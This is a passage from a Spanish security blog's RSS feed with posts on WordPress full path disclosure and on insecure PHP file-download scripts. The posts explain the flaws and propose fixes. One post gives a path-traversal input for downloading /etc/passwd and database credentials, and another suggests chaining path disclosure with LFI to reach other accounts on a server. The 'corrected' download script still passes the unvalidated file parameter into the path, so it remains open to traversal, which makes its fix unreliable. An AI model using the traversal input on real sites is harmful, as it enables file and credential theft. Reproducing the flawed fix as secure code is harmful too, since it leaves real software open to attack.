<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/defined"><span class="kw3">defined</span></a><span class="br0">&#40;</span><span class="st0">&#8216;ABSPATH&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
</ol>
</div>
<p>Esta persona me comentó que haría una publicación en su sitio web al respecto, pero no la encuentro. Les dejo el enlace a su blog por si las moscas: <a href="http://rollanwar.net" target="_blank">http://rollanwar.net</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fmas-full-path-disclosure-en-wordpress-y-sin-solucion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/"  data-text="Más Full Path Disclosure en WordPress y sin solución" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mas-full-path-disclosure-en-wordpress-y-sin-solucion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cómo validar correctamente la descarga de un archivo en php</title>
		<link>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/</link>
		<comments>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/#comments</comments>
		<pubDate>Sun, 18 Oct 2009 13:10:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1009</guid>
		<description><![CDATA[Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma [...]]]></description>
			<content:encoded><![CDATA[<p>Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo <strong>download.php?dir=ficheros/&amp;file=test.pdf</strong>.</p>
<p><img class="aligncenter size-full wp-image-1010" title="secure" src="http://blog.zerial.org/wp-content/uploads/2009/10/secure.png" alt="secure" width="419" height="122" /></p>
<p>Con una URL de este tipo, es posible forzar un FPD modificando las variables &#8220;dir&#8221; y &#8220;test&#8221;, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable &#8220;dir&#8221; a &#8220;../../../../../../etc/&#8221; y &#8220;file&#8221; a &#8220;passwd&#8221;, es muy probable que nos deje descargar el fichero <em>/etc/passwd</em>, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.</p>
<p><span id="more-1009"></span></p>
<p>Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$enlace</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;folder&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:</p>
<p>Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable &#8220;nombre&#8221; y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros <strong>folder=archivos/&#038;archivo=test.pdf</strong>, el valor de la variable $enlace será &#8220;archivos/test.pdf&#8221;. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene <strong>ninguna</strong> validación.</p>
<p>La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.<br />
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$folder</span> = <span class="st0">&quot;archivos_para_descargar&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$nombre</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>; <span class="co1">// Nombre del archivo</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$contenido</span> = <span class="st0">&#8216;Texto del archivo&#8217;</span>; <span class="co1">// Contenido del archivo</span></div>
</li>
<li class="li2">
<div class="de2"><span class="re0">$enlace</span> = <span class="re0">$folder</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;archivo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=&quot;</span>.<span class="re0">$nombre</span>.<span class="st0">&quot;&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/header"><span class="kw3">header</span></a> <span class="br0">&#40;</span><span class="st0">&quot;Content-Length: &quot;</span>.<a href="http://www.php.net/filesize"><span class="kw3">filesize</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/readfile"><span class="kw3">readfile</span></a><span class="br0">&#40;</span><span class="re0">$enlace</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>De esta forma, jamás podremos cambiar el valor de la variable &#8220;$folder&#8221; y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido &#8220;archivos_para_descarga&#8221;. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un &#8220;administrador&#8221; de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (<em>http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf</em>).</p>
<p>Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario <em>www-data</em> o <em>apache</em> (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcomo-validar-correctamente-la-descarga-de-un-archivo-en-php%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/"  data-text="Cómo validar correctamente la descarga de un archivo en php" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en la mayoría de los plugins para WordPress</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 12:34:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[full path disclosure]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=948</guid>
		<description><![CDATA[Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados. Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad Full Path Disclosure (FPD) que afecta a la mayoría de los plugins de WordPress, incluyendo al [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-949" style="margin: 4px;" title="pwnpress" src="http://blog.zerial.org/wp-content/uploads/2009/09/pwnpress-300x214.jpg" alt="pwnpress" width="300" height="214" />Hace un par de días, mientras hacia unas pruebas y revisaba unos sistemas descubrí una vulnerabilidad que afectaba a unos cuantos plugins de WordPress instalados.<br />
Continuando mi investigación llegúe a la conclusión de que se trata de una vulnerabilidad <a href="http://blog.zerial.org/seguridad/la-vulnerabilidad-full-path-disclosure/" target="_blank">Full Path Disclosure (FPD)</a> que afecta a la mayoría de los plugins de <a href="http://wordpress.com" target="_blank">WordPress</a>, incluyendo al &#8220;Hello Dolly&#8221; y Akismet (plugins por defecto). Para explotar esta vulnerabilidad, no es necesario que el plugin esté activo, simplemente que esté instalado. Esta vulnerabilidad es debido a un problema o error a la hora de programar los plugins, al no validar la existencia de funciones antes de ejecutarlas el sistema devuelve un error fatal, mostrandonos la ruta completa de la instalación del CMS. Por ejemplo, en Akismet:</p>
<blockquote><p><strong>Fatal error</strong>:  Call to undefined function add_action() in <strong>/home/XXYYZZ/public_html/wp-content/plugins/akismet/akismet.php</strong> on line <strong>26</strong></p></blockquote>
<p>Hablando un poco sobre la vulnerabildiad FPD y recordando lo que dije en el post pasado, explotar esta vulnerabilidad no significa que podamos hacer grandes cosas, simplemente nos entregará información que podría ser utilizada para lo que uno estime conveniente.</p>
<p><span id="more-948"></span></p>
<p>Analizando más profundamente el código y el error, podemos encontrar (siguiendo con Akismet) las siguientes líneas:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$wpcom_api_key</span>, <span class="re0">$akismet_api_host</span>, <span class="re0">$akismet_api_port</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="re0">$wpcom_api_key</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = <span class="re0">$wpcom_api_key</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_host</span> = get_option<span class="br0">&#40;</span><span class="st0">&#8216;wordpress_api_key&#8217;</span><span class="br0">&#41;</span> . <span class="st0">&#8216;.rest.akismet.com&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$akismet_api_port</span> = <span class="nu0">80</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_config_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_menu&#8217;</span>, <span class="st0">&#8216;akismet_stats_page&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; akismet_admin_warnings<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">add_action<span class="br0">&#40;</span><span class="st0">&#8216;init&#8217;</span>, <span class="st0">&#8216;akismet_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> akismet_admin_init<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span> <span class="st0">&#8216;get_plugin_page_hook&#8217;</span> <span class="br0">&#41;</span> <span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = get_plugin_page_hook<span class="br0">&#40;</span> <span class="st0">&#8216;akismet-stats-display&#8217;</span>, <span class="st0">&#8216;index.php&#8217;</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$hook</span> = <span class="st0">&#8216;dashboard_page_akismet-stats-display&#8217;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_head-&#8217;</span>.<span class="re0">$hook</span>, <span class="st0">&#8216;akismet_stats_script&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">add_action<span class="br0">&#40;</span><span class="st0">&#8216;admin_init&#8217;</span>, <span class="st0">&#8216;akismet_admin_init&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Sólo en esas líneas se hace unas cuantas veces la llamada a la función &#8220;add_action()&#8221; que no es validada antes de ser ejecutada, sin embargo, otras funciones si lo están (por ej. mirar línea 18). Lo mismo sucede en <em>hello.php</em> y en muchos otros plugins muy usados.</p>
<p>Para detectar esta vulnerabilidad los plugins que tenemos instalados podemos ejecutar el siguiente comando dentro del directorio wp-content/plugins:</p>
<p><code>find . -name "*.php" -exec grep -H add_action {} \;</code></p>
<p>Y obtendremos un resultado como el siguiente:</p>
<blockquote><p>./wp-gravatar/gravatars.php:add_action(&#8216;admin_menu&#8217;, &#8216;gravatar_admin_menu&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_authdescription_init&#8217;);<br />
./wp-gravatar/gravatars.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_recent_comments_gravatars_register&#8217;, 1);<br />
./smart-youtube/smartyoutube.php:add_action(&#8216;admin_menu&#8217;, &#8216;yte_add_pages&#8217;);<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;plugins_loaded&#8217;, &#8216;yte_install&#8217; );<br />
./smart-youtube/smartyoutube.php:add_action( &#8216;after_plugin_row&#8217;, &#8216;yte_check_plugin_version&#8217; );<br />
./chili-code-highlighter/chili-code-highlighter.php:add_action( &#8216;plugins_loaded&#8217;, create_function( &#8221;, &#8216;global $ChiliCodeHighlighter; $ChiliCodeHighlighter = new ChiliCodeHighlighter();&#8217; ) );<br />
./wp-db-backup/wp-db-backup.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;wpdbBackup_init&#8217;);<br />
./subscribe2/counterwidget.php:add_action(&#8216;plugins_loaded&#8217;, &#8216;widget_s2counter_init&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;init&#8217;, &#8216;A2A_SHARE_SAVE_textdomain&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;the_content&#8217;, &#8216;A2A_SHARE_SAVE_to_bottom_of_content&#8217;, 98);<br />
./add-to-any/add-to-any.php:add_action(&#8216;wp_head&#8217;, &#8216;A2A_SHARE_SAVE_button_css&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_head&#8217;, &#8216;A2A_SHARE_SAVE_admin_head&#8217;);<br />
./add-to-any/add-to-any.php:add_action(&#8216;admin_menu&#8217;, &#8216;A2A_SHARE_SAVE_add_menu_link&#8217;);<br />
./creative-commons-license-widget/ccLicense.php:add_action(&#8216;widgets_init&#8217;, &#8216;widget_ccLicense_init&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;init&#8217;, &#8216;init_textdomain&#8217;);<br />
./wordpress-23-related-posts-plugin/wp_related_posts.php:add_action(&#8216;admin_menu&#8217;, &#8216;wp_add_related_posts_options_page&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action ( &#8216;save_post&#8217;, &#8216;vc_twit&#8217;);<br />
./twitter-updater-using-tinyurl/twitter_updater.php:add_action(&#8216;admin_menu&#8217;, &#8216;vc_addTwitterAdminPages&#8217;);<br />
./simplepie-core/simplepie_core.php:add_action(&#8216;admin_menu&#8217;, &#8216;simplepie_core_options&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;publish_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;save_post&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;edit_page_form&#8217;, array($aiosp, &#8216;post_meta_tags&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;init&#8217;, array($aiosp, &#8216;init&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;wp_head&#8217;, array($aiosp, &#8216;wp_head&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;template_redirect&#8217;, array($aiosp, &#8216;template_redirect&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, array($aiosp, &#8216;admin_menu&#8217;));<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action(&#8216;admin_menu&#8217;, &#8216;aiosp_meta_box_add&#8217;);<br />
./all-in-one-seo-pack/all_in_one_seo_pack.php:add_action( &#8216;admin_notices&#8217;, &#8216;aioseop_activation_notice&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_init&#8217;, &#8216;ga_admin_init&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;admin_menu&#8217;, &#8216;add_ga_option_page&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;init&#8217;, &#8216;ga_outgoing_links&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;plugin_action_links_&#8217; . plugin_basename(__FILE__), &#8216;ga_filter_plugin_actions&#8217;);<br />
./google-analyticator/google-analyticator.php:add_action(&#8216;wp_ajax_ga_ajax_accounts&#8217;, &#8216;ga_ajax_accounts&#8217;);<br />
./google-analyticator/google-analytics-stats-widget.php:add_action(&#8216;widgets_init&#8217;, &#8216;GoogleStatsWidget_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;akismet_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_init&#8217;, &#8216;akismet_admin_init&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;wp_set_comment_status&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;edit_comment&#8217;, &#8216;akismet_submit_spam_comment&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;preprocess_comment&#8217;, &#8216;akismet_auto_check_comment&#8217;, 1);<br />
./akismet/akismet.php:add_action(&#8216;admin_menu&#8217;, &#8216;akismet_manage_page&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;activity_box_end&#8217;, &#8216;akismet_stats&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;rightnow_end&#8217;, &#8216;akismet_rightnow&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;manage_comments_nav&#8217;, &#8216;akismet_check_for_spam_button&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;admin_action_akismet_recheck_queue&#8217;, &#8216;akismet_recheck_queue&#8217;);<br />
./akismet/akismet.php:add_action(&#8216;init&#8217;, &#8216;widget_akismet_register&#8217;);<br />
./source-code-syntax-highlighting-plugin-for-wordpress/deans_code_highlighter.php:add_action(&#8216;admin_menu&#8217;, &#8216;dl_reg_admin&#8217;);<br />
./flickr-widget/flickr_widget.php:add_action( &#8220;init&#8221;, &#8220;flickr_widgets_init&#8221; );</p></blockquote>
<p>La lista de plugins afectados es muy grande, sólo en este caso (mi wordpress) tenemos 15:</p>
<blockquote><p>wp-gravatar<br />
smart-youtube<br />
chili-code-highlighter<br />
wp-db-backup<br />
subscribe2<br />
add-to-any<br />
creative-commons-license-widget<br />
wordpress-23-related-posts-plugin<br />
twitter-updater-using-tinyurl<br />
simplepie-core<br />
all-in-one-seo-pack<br />
google-analyticator<br />
akismet<br />
source-code-syntax-highlighting-plugin-for-wordpress<br />
flickr-widget</p></blockquote>
<p>Para corregirlo simplemente debemos agregar, a cada llamada de la función, la siguiente validación:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/function_exists"><span class="kw3">function_exists</span></a><span class="br0">&#40;</span><span class="st0">&#8216;add_action&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Quizás a mucha gente no le interese este tema y piense que este tipo de vulnerabilidad no sirve y no les importa que sepan en que directorio está instalado el wordpress, aún así, pienso que es necesario que esto se corrija. No va a depender de los usuarios solucionar esto, sino de los desarrolladores.<br />
Esta vulnerabilidad puede ser aprovechada no sólo para entrar a un sistema wordpress, puede ser combinada con otras vulnerabildiades como LFI o Directory Transversal y comprometer a las otras cuentas que estan en el servidor. Con esta información podemos obtener típicamente el nombre de usuario de la cuenta (luego ingresar por la IP agregando colita de chancho [~] y luego el username) y el directorio de ese usuario, que luego pueden ser usados para distintos fines.<br />
Las personas que alguna véz hayan explotado este tipo de vulnerabilidad sabrán lo útil que puede llegar a ser al momento de querer penetrar un sistema.</p>
<p>Si lo miramos desde otro punto de vista, podríamos llegar a <em>escalar</em> el problema y decir que gran parte de la responsabilidad la tiene <strong>WordPress</strong>, todos los plugins deberían pasar por un <em>test de calidad</em> donde se verifiquen este tipo de cosas. La forma de operar que tienen los plugins de WordPress deberían ser, al menos, en un entorno WP. ¿Me explico? Debería existir una forma de determar que el fichero php se está ejecutando bajo el entorno wordpress y no por si solo (por ejemplo al llamar a hello.php), ya sea con un método, constante, variable, etc, algo tan simple como un if:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>WORDPRESS_ENVIRONMENT == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Otra forma de solucionarlo, sería deshabilitando los mensajes de advertencia y errores por lado del servidor, pero insisto, creo que la solución no es por parte de los usuarios, sino de los desarrolladores.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidad-en-la-mayoria-de-los-plugins-para-wordpress/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
